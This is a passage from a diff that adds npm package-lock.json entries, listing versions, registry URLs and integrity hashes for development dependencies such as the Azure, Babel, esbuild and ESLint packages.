"https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", + "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", + "dependencies": { + "safe-buffer": "~5.2.0" + } + }, + "node_modules/zod": { + "version": "4.1.5", + "resolved": "https://registry.npmjs.org/zod/-/zod-4.1.5.tgz", + "integrity": "sha512-rcUUZqlLJgBC33IT3PNMgsCq6TzLQEG/Ei/KTCU0PedSWRMAXoOUN+4t/0H+Q8bdnLPdqUYnvboJT0bn/229qg==", + "funding": { + "url": "https://github.com/sponsors/colinhacks" + } + } + }, + "dependencies": { + "@aashutoshrathi/word-wrap": { + "version": "1.2.6", + "resolved": "https://registry.npmjs.org/@aashutoshrathi/word-wrap/-/word-wrap-1.2.6.tgz", + "integrity": "sha512-1Yjs2SvM8TflER/OD3cOjhWWOZb58A2t7wpE2S9XfBYTiIl+XFhQG2bjy4Pu1I+EAlCNUzRDYDdFwFYUKvXcIA==", + "dev": true + }, + "@actions/core": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@actions/core/-/core-1.11.1.tgz", + "integrity": "sha512-hXJCSrkwfA46Vd9Z3q4cpEpHB1rL5NG04+/rbqW9d3+CSvtB1tYe8UTpAlixa1vj0m/ULglfEK2UKxMGxCxv5A==", + "dev": true, + "requires": { + "@actions/exec": "^1.1.1", + "@actions/http-client": "^2.0.1" + } + }, + "@actions/exec": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@actions/exec/-/exec-1.1.1.tgz", + "integrity": "sha512-+sCcHHbVdk93a0XT19ECtO/gIXoxvdsgQLzb2fE2/5sIZmWQuluYyjPQtrtTHdU1YzTZ7bAPN4sITq2xi1679w==", + "dev": true, + "requires": { + "@actions/io": "^1.0.1" + } + }, + "@actions/http-client": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/@actions/http-client/-/http-client-2.2.3.tgz", + "integrity": "sha512-mx8hyJi/hjFvbPokCg4uRd4ZX78t+YyRPtnKWwIl+RzNaVuFpQHfmlGVfsKEJN8LwTCvL+DfVgAM04XaHkm6bA==", + "dev": true, + "requires": { + "tunnel": "^0.0.6", + "undici": "^5.25.4" + } + }, + "@actions/io": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@actions/io/-/io-1.1.3.tgz", + "integrity": "sha512-wi9JjgKLYS7U/z8PPbco+PvTb/nRWjeoFlJ1Qer83k/3C5PHQi28hiVdeE2kHXmIL99mQFawx8qt/JPjZilJ8Q==", + "dev": true + }, + "@azu/format-text": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@azu/format-text/-/format-text-1.0.2.tgz", + "integrity": "sha512-Swi4N7Edy1Eqq82GxgEECXSSLyn6GOb5htRFPzBDdUkECGXtlf12ynO5oJSpWKPwCaUssOu7NfhDcCWpIC6Ywg==", + "dev": true + }, + "@azu/style-format": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@azu/style-format/-/style-format-1.0.1.tgz", + "integrity": "sha512-AHcTojlNBdD/3/KxIKlg8sxIWHfOtQszLvOpagLTO+bjC3u7SAszu1lf//u7JJC50aUSH+BVWDD/KvaA6Gfn5g==", + "dev": true, + "requires": { + "@azu/format-text": "^1.0.1" + } + }, + "@azure/abort-controller": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@azure/abort-controller/-/abort-controller-1.1.0.tgz", + "integrity": "sha512-TrRLIoSQVzfAJX9H1JeFjzAoDGcoK1IYX1UImfceTZpsyYfWr09Ss1aHW1y5TrrR3iq6RZLBwJ3E24uwPhwahw==", + "dev": true, + "requires": { + "tslib": "^2.2.0" + } + }, + "@azure/core-auth": { + "version": "1.7.2", + "resolved": "https://registry.npmjs.org/@azure/core-auth/-/core-auth-1.7.2.tgz", + "integrity": "sha512-Igm/S3fDYmnMq1uKS38Ae1/m37B3zigdlZw+kocwEhh5GjyKjPrXKO2J6rzpC1wAxrNil/jX9BJRqBshyjnF3g==", + "dev": true, + "requires": { + "@azure/abort-controller": "^2.0.0", + "@azure/core-util": "^1.1.0", + "tslib": "^2.6.2" + }, + "dependencies": { + "@azure/abort-controller": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/@azure/abort-controller/-/abort-controller-2.1.2.tgz", + "integrity": "sha512-nBrLsEWm4J2u5LpAPjxADTlq3trDgVZZXHNKabeXZtpq3d3AbN/KGO82R87rdDz5/lYB024rtEf10/q0urNgsA==", + "dev": true, + "requires": { + "tslib": "^2.6.2" + } + } + } + }, + "@azure/core-client": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/@azure/core-client/-/core-client-1.9.2.tgz", + "integrity": "sha512-kRdry/rav3fUKHl/aDLd/pDLcB+4pOFwPPTVEExuMyaI5r+JBbMWqRbCY1pn5BniDaU3lRxO9eaQ1AmSMehl/w==", + "dev": true, + "requires": { + "@azure/abort-controller": "^2.0.0", + "@azure/core-auth": "^1.4.0", + "@azure/core-rest-pipeline": "^1.9.1", + "@azure/core-tracing": "^1.0.0", + "@azure/core-util": "^1.6.1", + "@azure/logger": "^1.0.0", + "tslib": "^2.6.2" + }, + "dependencies": { + "@azure/abort-controller": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/@azure/abort-controller/-/abort-controller-2.1.2.tgz", + "integrity": "sha512-nBrLsEWm4J2u5LpAPjxADTlq3trDgVZZXHNKabeXZtpq3d3AbN/KGO82R87rdDz5/lYB024rtEf10/q0urNgsA==", + "dev": true, + "requires": { + "tslib": "^2.6.2" + } + } + } + }, + "@azure/core-rest-pipeline": { + "version": "1.16.0", + "resolved": "https://registry.npmjs.org/@azure/core-rest-pipeline/-/core-rest-pipeline-1.16.0.tgz", + "integrity": "sha512-CeuTvsXxCUmEuxH5g/aceuSl6w2EugvNHKAtKKVdiX915EjJJxAwfzNNWZreNnbxHZ2fi0zaM6wwS23x2JVqSQ==", + "dev": true, + "requires": { + "@azure/abort-controller": "^2.0.0", + "@azure/core-auth": "^1.4.0", + "@azure/core-tracing": "^1.0.1", + "@azure/core-util": "^1.9.0", + "@azure/logger": "^1.0.0", + "http-proxy-agent": "^7.0.0", + "https-proxy-agent": "^7.0.0", + "tslib": "^2.6.2" + }, + "dependencies": { + "@azure/abort-controller": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/@azure/abort-controller/-/abort-controller-2.1.2.tgz", + "integrity": "sha512-nBrLsEWm4J2u5LpAPjxADTlq3trDgVZZXHNKabeXZtpq3d3AbN/KGO82R87rdDz5/lYB024rtEf10/q0urNgsA==", + "dev": true, + "requires": { + "tslib": "^2.6.2" + } + } + } + }, + "@azure/core-tracing": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@azure/core-tracing/-/core-tracing-1.1.2.tgz", + "integrity": "sha512-dawW9ifvWAWmUm9/h+/UQ2jrdvjCJ7VJEuCJ6XVNudzcOwm53BFZH4Q845vjfgoUAM8ZxokvVNxNxAITc502YA==", + "dev": true, + "requires": { + "tslib": "^2.6.2" + } + }, + "@azure/core-util": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/@azure/core-util/-/core-util-1.9.0.tgz", + "integrity": "sha512-AfalUQ1ZppaKuxPPMsFEUdX6GZPB3d9paR9d/TTL7Ow2De8cJaC7ibi7kWVlFAVPCYo31OcnGymc0R89DX8Oaw==", + "dev": true, + "requires": { + "@azure/abort-controller": "^2.0.0", + "tslib": "^2.6.2" + }, + "dependencies": { + "@azure/abort-controller": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/@azure/abort-controller/-/abort-controller-2.1.2.tgz", + "integrity": "sha512-nBrLsEWm4J2u5LpAPjxADTlq3trDgVZZXHNKabeXZtpq3d3AbN/KGO82R87rdDz5/lYB024rtEf10/q0urNgsA==", + "dev": true, + "requires": { + "tslib": "^2.6.2" + } + } + } + }, + "@azure/identity": { + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/@azure/identity/-/identity-4.2.1.tgz", + "integrity": "sha512-U8hsyC9YPcEIzoaObJlRDvp7KiF0MGS7xcWbyJSVvXRkC/HXo1f0oYeBYmEvVgRfacw7GHf6D6yAoh9JHz6A5Q==", + "dev": true, + "requires": { + "@azure/abort-controller": "^1.0.0", + "@azure/core-auth": "^1.5.0", + "@azure/core-client": "^1.4.0", + "@azure/core-rest-pipeline": "^1.1.0", + "@azure/core-tracing": "^1.0.0", + "@azure/core-util": "^1.3.0", + "@azure/logger": "^1.0.0", + "@azure/msal-browser": "^3.11.1", + "@azure/msal-node": "^2.9.2", + "events": "^3.0.0", + "jws": "^4.0.0", + "open": "^8.0.0", + "stoppable": "^1.1.0", + "tslib": "^2.2.0" + } + }, + "@azure/logger": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@azure/logger/-/logger-1.1.2.tgz", + "integrity": "sha512-l170uE7bsKpIU6B/giRc9i4NI0Mj+tANMMMxf7Zi/5cKzEqPayP7+X1WPrG7e+91JgY8N+7K7nF2WOi7iVhXvg==", + "dev": true, + "requires": { + "tslib": "^2.6.2" + } + }, + "@azure/msal-browser": { + "version": "3.14.0", + "resolved": "https://registry.npmjs.org/@azure/msal-browser/-/msal-browser-3.14.0.tgz", + "integrity": "sha512-Un85LhOoecJ3HDTS3Uv3UWnXC9/43ZSO+Kc+anSqpZvcEt58SiO/3DuVCAe1A3I5UIBYJNMgTmZPGXQ0MVYrwA==", + "dev": true, + "requires": { + "@azure/msal-common": "14.10.0" + } + }, + "@azure/msal-common": { + "version": "14.10.0", + "resolved": "https://registry.npmjs.org/@azure/msal-common/-/msal-common-14.10.0.tgz", + "integrity": "sha512-Zk6DPDz7e1wPgLoLgAp0349Yay9RvcjPM5We/ehuenDNsz/t9QEFI7tRoHpp/e47I4p20XE3FiDlhKwAo3utDA==", + "dev": true + }, + "@azure/msal-node": { + "version": "2.9.2", + "resolved": "https://registry.npmjs.org/@azure/msal-node/-/msal-node-2.9.2.tgz", + "integrity": "sha512-8tvi6Cos3m+0KmRbPjgkySXi+UQU/QiuVRFnrxIwt5xZlEEFa69O04RTaNESGgImyBBlYbo2mfE8/U8Bbdk1WQ==", + "dev": true, + "requires": { + "@azure/msal-common": "14.12.0", + "jsonwebtoken": "^9.0.0", + "uuid": "^8.3.0" + }, + "dependencies": { + "@azure/msal-common": { + "version": "14.12.0", + "resolved": "https://registry.npmjs.org/@azure/msal-common/-/msal-common-14.12.0.tgz", + "integrity": "sha512-IDDXmzfdwmDkv4SSmMEyAniJf6fDu3FJ7ncOjlxkDuT85uSnLEhZi3fGZpoR7T4XZpOMx9teM9GXBgrfJgyeBw==", + "dev": true + } + } + }, + "@babel/code-frame": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.27.1.tgz", + "integrity": "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.27.1", + "js-tokens": "^4.0.0", + "picocolors": "^1.1.1" + } + }, + "@babel/generator": { + "version": "7.28.3", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.28.3.tgz", + "integrity": "sha512-3lSpxGgvnmZznmBkCRnVREPUFJv2wrv9iAoFDvADJc0ypmdOxdUtcLeBgBJ6zE0PMeTKnxeQzyk0xTBq4Ep7zw==", + "dev": true, + "requires": { + "@babel/parser": "^7.28.3", + "@babel/types": "^7.28.2", + "@jridgewell/gen-mapping": "^0.3.12", + "@jridgewell/trace-mapping": "^0.3.28", + "jsesc": "^3.0.2" + } + }, + "@babel/helper-globals": { + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@babel/helper-globals/-/helper-globals-7.28.0.tgz", + "integrity": "sha512-+W6cISkXFa1jXsDEdYA8HeevQT/FULhxzR99pxphltZcVaugps53THCeiWA8SguxxpSp3gKPiuYfSWopkLQ4hw==", + "dev": true + }, + "@babel/helper-string-parser": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz", + "integrity": "sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==", + "dev": true + }, + "@babel/helper-validator-identifier": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.27.1.tgz", + "integrity": "sha512-D2hP9eA+Sqx1kBZgzxZh0y1trbuU+JoDkiEwqhQ36nodYqJwyEIhPSdMNd7lOm/4io72luTPWH20Yda0xOuUow==", + "dev": true + }, + "@babel/parser": { + "version": "7.28.3", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.28.3.tgz", + "integrity": "sha512-7+Ey1mAgYqFAx2h0RuoxcQT5+MlG3GTV0TQrgr7/ZliKsm/MNDxVVutlWaziMq7wJNAz8MTqz55XLpWvva6StA==", + "dev": true, + "requires": { + "@babel/types": "^7.28.2" + } + }, + "@babel/template": { + "version": "7.27.2", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.27.2.tgz", + "integrity": "sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw==", + "dev": true, + "requires": { + "@babel/code-frame": "^7.27.1", + "@babel/parser": "^7.27.2", + "@babel/types": "^7.27.1" + } + }, + "@babel/traverse": { + "version": "7.28.3", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.28.3.tgz", + "integrity": "sha512-7w4kZYHneL3A6NP2nxzHvT3HCZ7puDZZjFMqDpBPECub79sTtSO5CGXDkKrTQq8ksAwfD/XI2MRFX23njdDaIQ==", + "dev": true, + "requires": { + "@babel/code-frame": "^7.27.1", + "@babel/generator": "^7.28.3", + "@babel/helper-globals": "^7.28.0", + "@babel/parser": "^7.28.3", + "@babel/template": "^7.27.2", + "@babel/types": "^7.28.2", + "debug": "^4.3.1" + } + }, + "@babel/types": { + "version": "7.28.2", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.28.2.tgz", + "integrity": "sha512-ruv7Ae4J5dUYULmeXw1gmb7rYRz57OWCPM57pHojnLq/3Z1CK2lNSLTCVjxVk1F/TZHwOZZrOWi0ur95BbLxNQ==", + "dev": true, + "requires": { + "@babel/helper-string-parser": "^7.27.1", + "@babel/helper-validator-identifier": "^7.27.1" + } + }, + "@bcoe/v8-coverage": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@bcoe/v8-coverage/-/v8-coverage-1.0.2.tgz", + "integrity": "sha512-6zABk/ECA/QYSCQ1NGiVwwbQerUCZ+TQbp64Q3AgmfNvurHH0j8TtXa1qbShXA6qqkpAj4V5W8pP6mLe1mcMqA==", + "dev": true + }, + "@colors/colors": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/@colors/colors/-/colors-1.6.0.tgz", + "integrity": "sha512-Ir+AOibqzrIsL6ajt3Rz3LskB7OiMVHqltZmspbW/TJuTVuyOMirVqAkjfY6JISiLHgyNqicAC8AyHHGzNd/dA==", + "dev": true + }, + "@dabh/diagnostics": { + "version": "2.0.8", + "resolved": "https://registry.npmjs.org/@dabh/diagnostics/-/diagnostics-2.0.8.tgz", + "integrity": "sha512-R4MSXTVnuMzGD7bzHdW2ZhhdPC/igELENcq5IjEverBvq5hn1SXCWcsi6eSsdWP0/Ur+SItRRjAktmdoX/8R/Q==", + "dev": true, + "requires": { + "@so-ric/colorspace": "^1.1.6", + "enabled": "2.0.x", + "kuler": "^2.0.0" + } + }, + "@esbuild/aix-ppc64": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.27.0.tgz", + "integrity": "sha512-KuZrd2hRjz01y5JK9mEBSD3Vj3mbCvemhT466rSuJYeE/hjuBrHfjjcjMdTm/sz7au+++sdbJZJmuBwQLuw68A==", + "dev": true, + "optional": true + }, + "@esbuild/android-arm": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.27.0.tgz", + "integrity": "sha512-j67aezrPNYWJEOHUNLPj9maeJte7uSMM6gMoxfPC9hOg8N02JuQi/T7ewumf4tNvJadFkvLZMlAq73b9uwdMyQ==", + "dev": true, + "optional": true + }, + "@esbuild/android-arm64": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.27.0.tgz", + "integrity": "sha512-CC3vt4+1xZrs97/PKDkl0yN7w8edvU2vZvAFGD16n9F0Cvniy5qvzRXjfO1l94efczkkQE6g1x0i73Qf5uthOQ==", + "dev": true, + "optional": true + }, + "@esbuild/android-x64": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.27.0.tgz", + "integrity": "sha512-wurMkF1nmQajBO1+0CJmcN17U4BP6GqNSROP8t0X/Jiw2ltYGLHpEksp9MpoBqkrFR3kv2/te6Sha26k3+yZ9Q==", + "dev": true, + "optional": true + }, + "@esbuild/darwin-arm64": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.27.0.tgz", + "integrity": "sha512-uJOQKYCcHhg07DL7i8MzjvS2LaP7W7Pn/7uA0B5S1EnqAirJtbyw4yC5jQ5qcFjHK9l6o/MX9QisBg12kNkdHg==", + "dev": true, + "optional": true + }, + "@esbuild/darwin-x64": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.27.0.tgz", + "integrity": "sha512-8mG6arH3yB/4ZXiEnXof5MK72dE6zM9cDvUcPtxhUZsDjESl9JipZYW60C3JGreKCEP+p8P/72r69m4AZGJd5g==", + "dev": true, + "optional": true + }, + "@esbuild/freebsd-arm64": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.27.0.tgz", + "integrity": "sha512-9FHtyO988CwNMMOE3YIeci+UV+x5Zy8fI2qHNpsEtSF83YPBmE8UWmfYAQg6Ux7Gsmd4FejZqnEUZCMGaNQHQw==", + "dev": true, + "optional": true + }, + "@esbuild/freebsd-x64": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.27.0.tgz", + "integrity": "sha512-zCMeMXI4HS/tXvJz8vWGexpZj2YVtRAihHLk1imZj4efx1BQzN76YFeKqlDr3bUWI26wHwLWPd3rwh6pe4EV7g==", + "dev": true, + "optional": true + }, + "@esbuild/linux-arm": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.27.0.tgz", + "integrity": "sha512-t76XLQDpxgmq2cNXKTVEB7O7YMb42atj2Re2Haf45HkaUpjM2J0UuJZDuaGbPbamzZ7bawyGFUkodL+zcE+jvQ==", + "dev": true, + "optional": true + }, + "@esbuild/linux-arm64": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.27.0.tgz", + "integrity": "sha512-AS18v0V+vZiLJyi/4LphvBE+OIX682Pu7ZYNsdUHyUKSoRwdnOsMf6FDekwoAFKej14WAkOef3zAORJgAtXnlQ==", + "dev": true, + "optional": true + }, + "@esbuild/linux-ia32": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.27.0.tgz", + "integrity": "sha512-Mz1jxqm/kfgKkc/KLHC5qIujMvnnarD9ra1cEcrs7qshTUSksPihGrWHVG5+osAIQ68577Zpww7SGapmzSt4Nw==", + "dev": true, + "optional": true + }, + "@esbuild/linux-loong64": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.27.0.tgz", + "integrity": "sha512-QbEREjdJeIreIAbdG2hLU1yXm1uu+LTdzoq1KCo4G4pFOLlvIspBm36QrQOar9LFduavoWX2msNFAAAY9j4BDg==", + "dev": true, + "optional": true + }, + "@esbuild/linux-mips64el": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.27.0.tgz", + "integrity": "sha512-sJz3zRNe4tO2wxvDpH/HYJilb6+2YJxo/ZNbVdtFiKDufzWq4JmKAiHy9iGoLjAV7r/W32VgaHGkk35cUXlNOg==", + "dev": true, + "optional": true + }, + "@esbuild/linux-ppc64": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.27.0.tgz", + "integrity": "sha512-z9N10FBD0DCS2dmSABDBb5TLAyF1/ydVb+N4pi88T45efQ/w4ohr/F/QYCkxDPnkhkp6AIpIcQKQ8F0ANoA2JA==", + "dev": true, + "optional": true + }, + "@esbuild/linux-riscv64": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.27.0.tgz", + "integrity": "sha512-pQdyAIZ0BWIC5GyvVFn5awDiO14TkT/19FTmFcPdDec94KJ1uZcmFs21Fo8auMXzD4Tt+diXu1LW1gHus9fhFQ==", + "dev": true, + "optional": true + }, + "@esbuild/linux-s390x": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.27.0.tgz", + "integrity": "sha512-hPlRWR4eIDDEci953RI1BLZitgi5uqcsjKMxwYfmi4LcwyWo2IcRP+lThVnKjNtk90pLS8nKdroXYOqW+QQH+w==", + "dev": true, + "optional": true + }, + "@esbuild/linux-x64": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.27.0.tgz", + "integrity": "sha512-1hBWx4OUJE2cab++aVZ7pObD6s+DK4mPGpemtnAORBvb5l/g5xFGk0vc0PjSkrDs0XaXj9yyob3d14XqvnQ4gw==", + "dev": true, + "optional": true + }, + "@esbuild/netbsd-arm64": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.27.0.tgz", + "integrity": "sha512-6m0sfQfxfQfy1qRuecMkJlf1cIzTOgyaeXaiVaaki8/v+WB+U4hc6ik15ZW6TAllRlg/WuQXxWj1jx6C+dfy3w==", + "dev": true, + "optional": true + }, + "@esbuild/netbsd-x64": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.27.0.tgz", + "integrity": "sha512-xbbOdfn06FtcJ9d0ShxxvSn2iUsGd/lgPIO2V3VZIPDbEaIj1/3nBBe1AwuEZKXVXkMmpr6LUAgMkLD/4D2PPA==", + "dev": true, + "optional": true + }, + "@esbuild/openbsd-arm64": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.27.0.tgz", + "integrity": "sha512-fWgqR8uNbCQ/GGv0yhzttj6sU/9Z5/Sv/VGU3F5OuXK6J6SlriONKrQ7tNlwBrJZXRYk5jUhuWvF7GYzGguBZQ==", + "dev": true, + "optional": true + }, + "@esbuild/openbsd-x64": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.27.0.tgz", + "integrity": "sha512-aCwlRdSNMNxkGGqQajMUza6uXzR/U0dIl1QmLjPtRbLOx3Gy3otfFu/VjATy4yQzo9yFDGTxYDo1FfAD9oRD2A==", + "dev": true, + "optional": true + }, + "@esbuild/openharmony-arm64": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.27.0.tgz", + "integrity": "sha512-nyvsBccxNAsNYz2jVFYwEGuRRomqZ149A39SHWk4hV0jWxKM0hjBPm3AmdxcbHiFLbBSwG6SbpIcUbXjgyECfA==", + "dev": true, + "optional": true + }, + "@esbuild/sunos-x64": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.27.0.tgz", + "integrity": "sha512-Q1KY1iJafM+UX6CFEL+F4HRTgygmEW568YMqDA5UV97AuZSm21b7SXIrRJDwXWPzr8MGr75fUZPV67FdtMHlHA==", + "dev": true, + "optional": true + }, + "@esbuild/win32-arm64": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.27.0.tgz", + "integrity": "sha512-W1eyGNi6d+8kOmZIwi/EDjrL9nxQIQ0MiGqe/AWc6+IaHloxHSGoeRgDRKHFISThLmsewZ5nHFvGFWdBYlgKPg==", + "dev": true, + "optional": true + }, + "@esbuild/win32-ia32": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.27.0.tgz", + "integrity": "sha512-30z1aKL9h22kQhilnYkORFYt+3wp7yZsHWus+wSKAJR8JtdfI76LJ4SBdMsCopTR3z/ORqVu5L1vtnHZWVj4cQ==", + "dev": true, + "optional": true + }, + "@esbuild/win32-x64": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.27.0.tgz", + "integrity": "sha512-aIitBcjQeyOhMTImhLZmtxfdOcuNRpwlPNmlFKPcHQYPhEssw75Cl1TSXJXpMkzaua9FUetx/4OQKq7eJul5Cg==", + "dev": true, + "optional": true + }, + "@eslint-community/eslint-utils": { + "version": "4.7.0", + "resolved": "https://registry.npmjs.org/@eslint-community/eslint-utils/-/eslint-utils-4.7.0.tgz", + "integrity": "sha512-dyybb3AcajC7uha6CvhdVRJqaKyn7w2YKqKyAN37NKYgZT36w+iRb0Dymmc5qEJ549c/S31cMMSFd75bteCpCw==", + "dev": true, + "requires": { + "eslint-visitor-keys": "^3.4.3" + } + }, + "@eslint-community/regexpp": { + "version": "4.10.0", + "resolved": "https://registry.npmjs.org/@eslint-community/regexpp/-/regexpp-4.10.0.tgz", + "integrity": "sha512-Cu96Sd2By9mCNTx2iyKOmq10v22jUVQv0lQnlGNy16oE9589yE+QADPbrMGCkA51cKZSg3Pu/aTJVTGfL/qjUA==", + "dev": true + }, + "@eslint/eslintrc": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-2.1.4.tgz", + "integrity": "sha512-269Z39MS6wVJtsoUl10L60WdkhJVdPG24Q4eZTH3nnF6lpvSShEK3wQjDX9JRWAUPvPh7COouPpU9IrqaZFvtQ==", + "dev": true, + "requires": { + "ajv": "^6.12.4", + "debug": "^4.3.2", + "espree": "^9.6.0", + "globals": "^13.19.0", + "ignore": "^5.2.0", + "import-fresh": "^3.2.1", + "js-yaml": "^4.1.0", + "minimatch": "^3.1.2", + "strip-json-comments": "^3.1.1" + } + }, + "@eslint/js": { + "version": "8.57.0", + "resolved": "https://registry.npmjs.org/@eslint/js/-/js-8.57.0.tgz", + "integrity": "sha512-Ys+3g2TaW7gADOJzPt83SJtCDhMjndcDMFVQ/Tj9iA1BfJzFKD9mAUXT3OenpuPHbI6P/myECxRJrofUsDx/5g==", + "dev": true + }, + "@fastify/busboy": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/@fastify/busboy/-/busboy-2.1.1.tgz", + "integrity": "sha512-vBZP4NlzfOlerQTnba4aqZoMhE/a9HY7HRqoOPaETQcSQuWEIyZMHGfVu6w9wGtGK5fED5qRs2DteVCjOH60sA==", + "dev": true + }, + "@gar/promisify": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@gar/promisify/-/promisify-1.1.3.tgz", + "integrity": "sha512-k2Ty1JcVojjJFwrg/ThKi2ujJ7XNLYaFGNB/bWT9wGR+oSMJHMa5w+CUq6p/pVrKeNNgA7pCqEcjSnHVoqJQFw==", + "dev": true + }, + "@humanwhocodes/config-array": { + "version": "0.11.14", + "resolved": "https://registry.npmjs.org/@humanwhocodes/config-array/-/config-array-0.11.14.tgz", + "integrity": "sha512-3T8LkOmg45BV5FICb15QQMsyUSWrQ8AygVfC7ZG32zOalnqrilm018ZVCw0eapXux8FtA33q8PSRSstjee3jSg==", + "dev": true, + "requires": { + "@humanwhocodes/object-schema": "^2.0.2", + "debug": "^4.3.1", + "minimatch": "^3.0.5" + } + }, + "@humanwhocodes/module-importer": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@humanwhocodes/module-importer/-/module-importer-1.0.1.tgz", + "integrity": "sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA==", + "dev": true + }, + "@humanwhocodes/object-schema": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/@humanwhocodes/object-schema/-/object-schema-2.0.2.tgz", + "integrity": "sha512-6EwiSjwWYP7pTckG6I5eyFANjPhmPjUX9JRLUSfNPC7FX7zK9gyZAfUEaECL6ALTpGX5AjnBq3C9XmVWPitNpw==", + "dev": true + }, + "@isaacs/balanced-match": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/@isaacs/balanced-match/-/balanced-match-4.0.1.tgz", + "integrity": "sha512-yzMTt9lEb8Gv7zRioUilSglI0c0smZ9k5D65677DLWLtWJaXIS3CqcGyUFByYKlnUj6TkjLVs54fBl6+TiGQDQ==", + "dev": true + }, + "@isaacs/brace-expansion": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/@isaacs/brace-expansion/-/brace-expansion-5.0.0.tgz", + "integrity": 